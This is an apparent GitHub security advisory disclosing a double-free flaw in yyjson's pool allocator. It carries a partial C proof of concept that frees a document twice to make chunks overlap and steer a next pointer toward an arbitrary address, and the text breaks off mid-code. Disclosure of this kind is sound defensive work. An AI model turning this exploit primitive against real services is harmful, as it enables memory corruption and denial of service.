GHSA-whx6-m9j4-w2m2

Summary

The pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks. Arbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.

Details

The core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.

PoC

Below, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.

#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {

    size_t max_json_size = 64 * 1024;

    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);

    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2); // double free
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;


    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char...